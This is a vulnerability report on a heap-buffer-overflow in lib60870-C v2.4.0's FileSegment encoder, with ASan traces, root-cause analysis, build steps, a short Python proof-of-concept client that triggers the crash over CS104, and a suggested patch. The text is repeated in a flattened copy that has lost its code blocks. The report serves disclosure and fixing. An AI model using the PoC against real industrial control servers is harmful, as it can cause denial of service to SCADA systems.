Summary
A heap-based buffer overflow exists in lib60870-C v2.4.0 in the FileSegment information object encoding path used when constructing outgoing CS101/CS104 ASDUs.
The issue is triggered when a server-side application uses the public API to create a file-transfer ASDU and appends multiple FileSegment information objects with CS101_ASDU_addInformationObject(...). The first FileSegment can legally fill the ASDU payload exactly. A subsequent FileSegment is then still encoded even though no payload space remains. During the second addition, the library writes beyond the heap-allocated ASDU object.
This is not an application-side memcpy bug. The out-of-bounds write occurs inside lib60870-C, in the internal ASDU frame writer used by CS101_ASDU_addInformationObject(...).
Version
Impact
- Confirmed impact:
remote, triggerable denial of service in a real CS104 server path
- Bug class: heap out-of-bounds write / heap-buffer-overflow
- Crash behavior: reproducible
ASan crash; in non-ASan builds this corruption is expected to result in process termination or unstable behavior depending on heap layout
- Attack precondition: a remote CS104 client must reach a server-side response path that constructs a file-transfer ASDU with multiple
FileSegment objects using the public API
Important scope note:
This is not an incoming-parser bug where a malformed FileSegment packet is parsed directly from the network.
It is a server-side encoder bug that is still remotely triggerable because a remote CS104 peer can cause the application to enter the vulnerable response-construction path.
Affected Path
Primary vulnerable path
-
lib60870-C/src/iec60870/cs101/cs101_asdu.c
asduFrame_appendBytes(...)
asduFrame_setNextByte(...)
asduFrame_getSpaceLeft(...)
CS101_ASDU_create(...)
CS101_ASDU_addInformationObject(...)
-
lib60870-C/src/iec60870/cs101/cs101_information_objects.c
FileSegment_encode(...)
FileSegment_GetMaxDataSize(...)
-
lib60870-C/src/inc/api/iec60870_common.h
- internal ASDU backing store:
encodedData[256]
- public contract of
CS101_ASDU_addInformationObject(...)
Remote trigger path used in the reproduction
CS104_Slave_start(...)
CS104_Slave_setInterrogationHandler(...)
interrogationHandler(...) → IMasterConnection_sendACT_CON(...)
- application constructs a file-transfer ASDU and appends
FileSegment objects
IMasterConnection_sendASDU(...)
ASan output
=================================================================
==28495==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6120000002e8 at pc 0x710e536c119e bp 0x7ffdda8e1990 sp 0x7ffdda8e1988
WRITE of size 1 at 0x6120000002e8 thread T0
#0 0x710e536c119d in asduFrame_appendBytes /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_asdu.c:64:19
#1 0x710e537c7635 in Frame_appendBytes /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/frame.c:54:5
#2 0x710e53730e93 in FileSegment_encode /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_information_objects.c:7678:5
#3 0x710e536e9640 in InformationObject_encode /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_information_objects.c:186:12
#4 0x710e536c5fb9 in CS101_ASDU_addInformationObject /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_asdu.c:291:27
#5 0x584fd6b619bc in send_buggy_batch /home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server.c:101:13
#6 0x584fd6b613ff in main /home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server.c:204:9
#7 0x710e53229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#8 0x710e53229e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#9 0x584fd6aa34a4 in _start (/home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server_asan+0x1f4a4) (BuildId: c6c31d1805b658532068f77388accdcc4e3d0b1a)
0x6120000002e8 is located 0 bytes to the right of 296-byte region [0x6120000001c0,0x6120000002e8)
allocated by thread T0 here:
#0 0x584fd6b262ee in __interceptor_malloc (/home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server_asan+0xa22ee) (BuildId: c6c31d1805b658532068f77388accdcc4e3d0b1a)
#1 0x710e537d6cd4 in Memory_malloc /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/hal/memory/lib_memory.c:33:20
#2 0x710e536c1967 in CS101_ASDU_create /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_asdu.c:91:47
#3 0x584fd6b61629 in send_buggy_batch /home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server.c:70:26
#4 0x584fd6b613ff in main /home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server.c:204:9
#5 0x710e53229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_asdu.c:64:19 in asduFrame_appendBytes
Shadow bytes around the buggy address:
0x0c247fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
0x0c247fff8030: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fff8040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c247fff8050: 00 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa
0x0c247fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==28495==ABORTING
Aborted (core dumped)
Root Cause
1. The ASDU uses a fixed internal buffer
CS101_ASDU_create(...) allocates a sCS101_StaticASDU.
The ASDU object contains a fixed internal backing array:
uint8_t encodedData[256];
This means that all outgoing information objects are encoded into a finite internal ASDU buffer. The write target is not provided by the application.
2. The internal frame writer has no bounds check
The relevant internal writer logic is effectively:
static void asduFrame_setNextByte(Frame self, uint8_t byte)
{
ASDUFrame frame = (ASDUFrame)self;
frame->asdu->payload[frame->asdu->payloadSize++] = byte;
}
static void asduFrame_appendBytes(Frame self, const uint8_t* bytes, int numberOfBytes)
{
ASDUFrame frame = (ASDUFrame)self;
uint8_t* target = frame->asdu->payload + frame->asdu->payloadSize;
for (int i = 0; i < numberOfBytes; i++)
target[i] = bytes[i];
frame->asdu->payloadSize += numberOfBytes;
}
There is a helper to compute remaining space:
return (frame->asdu->parameters->maxSizeOfASDU
- frame->asdu->payloadSize
- frame->asdu->asduHeaderLength);
but the low-level write functions themselves do not enforce it.
3. The public API contract says insufficient space should return false
The public API documentation for CS101_ASDU_addInformationObject(...) states that the function returns:
true if the information object is added
false if there is not enough space left in the ASDU, or if the type/sequence is invalid
So, when the ASDU has no remaining space, the expected behavior is a safe failure (false), not a heap overwrite.
4. Many encoders already check Frame_getSpaceLeft(frame) correctly
The code base uses a common safe pattern in many encoders, e.g. logic of the form:
int size = isSequence ? N : (parameters->sizeOfIOA + N);
if (Frame_getSpaceLeft(frame) < size)
return false;
This is the expected pattern for information-object encoders.
5. FileSegment_encode(...) only validates a per-object theoretical maximum
FileSegment_encode(...) validates self->los against FileSegment_GetMaxDataSize(parameters).
That value is a theoretical maximum for a FileSegment in an empty ASDU, not a check against the current remaining space in the ASDU that is already partially or fully occupied.
In the reproduced case:
- default
maxSizeOfASDU = 249
- ASDU header length = 6
- remaining payload capacity = 243
- non-sequence
FileSegment fixed overhead = 7 bytes
- IOA = 3
- NOF = 2
- NOS = 1
- LOS = 1
Therefore, the largest legal first segment payload is:
The harness uses exactly this value for the first FileSegment:
int firstSize = FileSegment_GetMaxDataSize(alParams);
and the resulting payload becomes:
which exactly fills the ASDU payload space.
6. The second FileSegment is encoded anyway
The harness then appends a second FileSegment with segmentOverflowBytes = 64.
At that moment:
- current payload size = 243
- remaining payload space = 0
The second call should therefore fail cleanly and return false.
Instead, encoding proceeds and reaches:
CS101_ASDU_addInformationObject(...)
-> InformationObject_encode(...)
-> FileSegment_encode(...)
-> Frame_appendBytes(...)
-> asduFrame_appendBytes(...)
ASan confirms that the actual out-of-bounds write is in:
cs101_asdu.c:64 (asduFrame_appendBytes)
- called from
cs101_information_objects.c:7678 (FileSegment_encode)
- reached via
cs101_asdu.c:291 (CS101_ASDU_addInformationObject)
7. Why this is a library bug, not an application bug
The application uses only public library APIs:
CS101_ASDU_create(...)
FileSegment_create(...)
CS101_ASDU_addInformationObject(...)
IMasterConnection_sendASDU(...)
It does not write to the ASDU buffer directly.
The library documentation explicitly promises that CS101_ASDU_addInformationObject(...) will return false when there is not enough space. The application is entitled to rely on that contract.
The bug is that the library enters the encoder and writes past the end of the ASDU buffer instead of failing safely.
Server program
server.zip
Reproduction
POC client
import socket, struct, time, sys
host = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
port = int(sys.argv[2]) if len(sys.argv) > 2 else 2711
STARTDT_ACT=b"\x68\x04\x07\x00\x00\x00"
asdu = bytes([100,1,6,0,1,0,0,0,0,20])
def ctrl_i(ns,nr): return struct.pack('<HH', ns << 1, nr << 1)
def apdu_i(ns,nr,asdu): return b"\x68"+bytes([4+len(asdu)])+ctrl_i(ns,nr)+asdu
s = socket.create_connection((host, port))
s.sendall(STARTDT_ACT)
try:
data = s.recv(64)
print('STARTDT resp', data.hex())
except Exception as e:
print('recv err', e)
s.sendall(apdu_i(0,0,asdu))
time.sleep(0.5)
s.close()
Build commands
Build the ASan/UBSan library
cmake -S lib60870-C -B build-asan \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_COMPILER=clang \
-DCMAKE_C_FLAGS='-O0 -g -fno-omit-frame-pointer -fsanitize=address,undefined -fno-sanitize-recover=all' \
-DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined'
cmake --build build-asan -j"$(nproc)"
Build the server
clang -O0 -g -fno-omit-frame-pointer -fsanitize=address,undefined \
-Ilib60870-C/src/inc/api -Ilib60870-C/src/hal/inc -Ilib60870-C/src/common/inc \
audit/fileack_batch_server.c -Lbuild-asan/src -llib60870 -lpthread \
-o audit/fileack_batch_server_asan
Run the server
LD_LIBRARY_PATH=build-asan/src \
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 \
UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1 \
stdbuf -oL -eL ./audit/fileack_batch_server_asan 2711 segment 64
Trigger from a second terminal
python3 poc.py 127.0.0.1 2711
Observed client output
python3 poc.py 127.0.0.1 2711
STARTDT resp 68040b000000
Observed server-side pre-crash state
The harness prints:
[server] mode=segment firstSize=236 added=1 payloadAfterFirst=243
[server] mode=segment secondSize=64 payloadBeforeSecond=243
This is the key proof:
- the first
FileSegment is accepted as valid
- the ASDU payload is now exactly full
- the second
FileSegment is then still encoded
- the library overflows the ASDU backing buffer
Result analysis
This is a real encoder-side heap overwrite in the library:
- the allocation originates in
CS101_ASDU_create(...)
- the write happens in
asduFrame_appendBytes(...)
- the trigger uses a real networked CS104 server path
- the application code never writes directly into the internal ASDU buffer
Fix Suggestion
Minimal fix
The simplest fix is to make FileSegment_encode(...) validate the current remaining space before writing any bytes.
A minimal patch concept is:
static bool
FileSegment_encode(FileSegment self, Frame frame, CS101_AppLayerParameters parameters, bool isSequence)
{
int needed;
if (self->los > FileSegment_GetMaxDataSize(parameters))
return false;
needed = (isSequence ? 0 : parameters->sizeOfIOA) + 2 + 1 + 1 + self->los;
if (Frame_getSpaceLeft(frame) < needed)
return false;
InformationObject_encodeBase((InformationObject) self, frame, parameters, isSequence);
Frame_setNextByte(frame, (uint8_t)(self->nof & 0xff));
Frame_setNextByte(frame, (uint8_t)((self->nof >> 8) & 0xff));
Frame_setNextByte(frame, self->nameOfSection);
Frame_setNextByte(frame, self->los);
Frame_appendBytes(frame, self->data, self->los);
return true;
}
Why this fix is sufficient
- it preserves the documented API behavior of
CS101_ASDU_addInformationObject(...)
- it rejects a
FileSegment when the current ASDU has insufficient room
- it aligns
FileSegment_encode(...) with the existing safe pattern already used by many other information-object encoders
Summary
A heap-based buffer overflow exists in lib60870-C v2.4.0 in the FileSegment information object encoding path used when constructing outgoing CS101/CS104 ASDUs.
The issue is triggered when a server-side application uses the public API to create a file-transfer ASDU and appends multiple
FileSegmentinformation objects withCS101_ASDU_addInformationObject(...). The firstFileSegmentcan legally fill the ASDU payload exactly. A subsequentFileSegmentis then still encoded even though no payload space remains. During the second addition, the library writes beyond the heap-allocated ASDU object.This is not an application-side
memcpybug. The out-of-bounds write occurs inside lib60870-C, in the internal ASDU frame writer used byCS101_ASDU_addInformationObject(...).Version
Impact
remote, triggerable denial of servicein a real CS104 server pathASan crash; in non-ASan builds this corruption is expected to result in process termination or unstable behavior depending on heap layoutFileSegmentobjects using the public APIImportant scope note:
This is
notan incoming-parser bug where a malformedFileSegmentpacket is parsed directly from the network.It is a server-side encoder bug that is still remotely triggerable because a remote CS104 peer can cause the application to enter the vulnerable response-construction path.
Affected Path
Primary vulnerable path
lib60870-C/src/iec60870/cs101/cs101_asdu.casduFrame_appendBytes(...)asduFrame_setNextByte(...)asduFrame_getSpaceLeft(...)CS101_ASDU_create(...)CS101_ASDU_addInformationObject(...)lib60870-C/src/iec60870/cs101/cs101_information_objects.cFileSegment_encode(...)FileSegment_GetMaxDataSize(...)lib60870-C/src/inc/api/iec60870_common.hencodedData[256]CS101_ASDU_addInformationObject(...)Remote trigger path used in the reproduction
CS104_Slave_start(...)CS104_Slave_setInterrogationHandler(...)interrogationHandler(...)→IMasterConnection_sendACT_CON(...)FileSegmentobjectsIMasterConnection_sendASDU(...)ASan output
================================================================= ==28495==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6120000002e8 at pc 0x710e536c119e bp 0x7ffdda8e1990 sp 0x7ffdda8e1988 WRITE of size 1 at 0x6120000002e8 thread T0 #0 0x710e536c119d in asduFrame_appendBytes /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_asdu.c:64:19 #1 0x710e537c7635 in Frame_appendBytes /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/frame.c:54:5 #2 0x710e53730e93 in FileSegment_encode /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_information_objects.c:7678:5 #3 0x710e536e9640 in InformationObject_encode /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_information_objects.c:186:12 #4 0x710e536c5fb9 in CS101_ASDU_addInformationObject /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_asdu.c:291:27 #5 0x584fd6b619bc in send_buggy_batch /home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server.c:101:13 #6 0x584fd6b613ff in main /home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server.c:204:9 #7 0x710e53229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #8 0x710e53229e3f in __libc_start_main csu/../csu/libc-start.c:392:3 #9 0x584fd6aa34a4 in _start (/home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server_asan+0x1f4a4) (BuildId: c6c31d1805b658532068f77388accdcc4e3d0b1a) 0x6120000002e8 is located 0 bytes to the right of 296-byte region [0x6120000001c0,0x6120000002e8) allocated by thread T0 here: #0 0x584fd6b262ee in __interceptor_malloc (/home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server_asan+0xa22ee) (BuildId: c6c31d1805b658532068f77388accdcc4e3d0b1a) #1 0x710e537d6cd4 in Memory_malloc /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/hal/memory/lib_memory.c:33:20 #2 0x710e536c1967 in CS101_ASDU_create /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_asdu.c:91:47 #3 0x584fd6b61629 in send_buggy_batch /home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server.c:70:26 #4 0x584fd6b613ff in main /home/weichuan/Desktop/proxy/lib60870-2.4.0/audit/fileack_batch_server.c:204:9 #5 0x710e53229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/weichuan/Desktop/proxy/lib60870-2.4.0/lib60870-C/src/iec60870/cs101/cs101_asdu.c:64:19 in asduFrame_appendBytes Shadow bytes around the buggy address: 0x0c247fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c247fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c247fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa 0x0c247fff8030: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c247fff8040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c247fff8050: 00 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa 0x0c247fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c247fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c247fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c247fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c247fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==28495==ABORTING Aborted (core dumped)Root Cause
1. The ASDU uses a fixed internal buffer
CS101_ASDU_create(...)allocates asCS101_StaticASDU.The ASDU object contains a fixed internal backing array:
This means that all outgoing information objects are encoded into a finite internal ASDU buffer. The write target is not provided by the application.
2. The internal frame writer has no bounds check
The relevant internal writer logic is effectively:
There is a helper to compute remaining space:
but the low-level write functions themselves do not enforce it.
3. The public API contract says insufficient space should return
falseThe public API documentation for
CS101_ASDU_addInformationObject(...)states that the function returns:trueif the information object is addedfalseif there is not enough space left in the ASDU, or if the type/sequence is invalidSo, when the ASDU has no remaining space, the expected behavior is a safe failure (
false), not a heap overwrite.4. Many encoders already check
Frame_getSpaceLeft(frame)correctlyThe code base uses a common safe pattern in many encoders, e.g. logic of the form:
This is the expected pattern for information-object encoders.
5.
FileSegment_encode(...)only validates a per-object theoretical maximumFileSegment_encode(...)validatesself->losagainstFileSegment_GetMaxDataSize(parameters).That value is a theoretical maximum for a FileSegment in an empty ASDU, not a check against the current remaining space in the ASDU that is already partially or fully occupied.
In the reproduced case:
maxSizeOfASDU= 249FileSegmentfixed overhead = 7 bytesTherefore, the largest legal first segment payload is:
The harness uses exactly this value for the first
FileSegment:and the resulting payload becomes:
which exactly fills the ASDU payload space.
6. The second
FileSegmentis encoded anywayThe harness then appends a second
FileSegmentwithsegmentOverflowBytes = 64.At that moment:
The second call should therefore fail cleanly and return
false.Instead, encoding proceeds and reaches:
ASan confirms that the actual out-of-bounds write is in:
cs101_asdu.c:64(asduFrame_appendBytes)cs101_information_objects.c:7678(FileSegment_encode)cs101_asdu.c:291(CS101_ASDU_addInformationObject)7. Why this is a library bug, not an application bug
The application uses only public library APIs:
CS101_ASDU_create(...)FileSegment_create(...)CS101_ASDU_addInformationObject(...)IMasterConnection_sendASDU(...)It does not write to the ASDU buffer directly.
The library documentation explicitly promises that
CS101_ASDU_addInformationObject(...)will returnfalsewhen there is not enough space. The application is entitled to rely on that contract.The bug is that the library enters the encoder and writes past the end of the ASDU buffer instead of failing safely.
Server program
server.zip
Reproduction
POC client
Build commands
Build the ASan/UBSan library
Build the server
Run the server
Trigger from a second terminal
Observed client output
Observed server-side pre-crash state
The harness prints:
This is the key proof:
FileSegmentis accepted as validFileSegmentis then still encodedResult analysis
This is a real encoder-side heap overwrite in the library:
CS101_ASDU_create(...)asduFrame_appendBytes(...)Fix Suggestion
Minimal fix
The simplest fix is to make
FileSegment_encode(...)validate the current remaining space before writing any bytes.A minimal patch concept is:
Why this fix is sufficient
CS101_ASDU_addInformationObject(...)FileSegmentwhen the current ASDU has insufficient roomFileSegment_encode(...)with the existing safe pattern already used by many other information-object encoders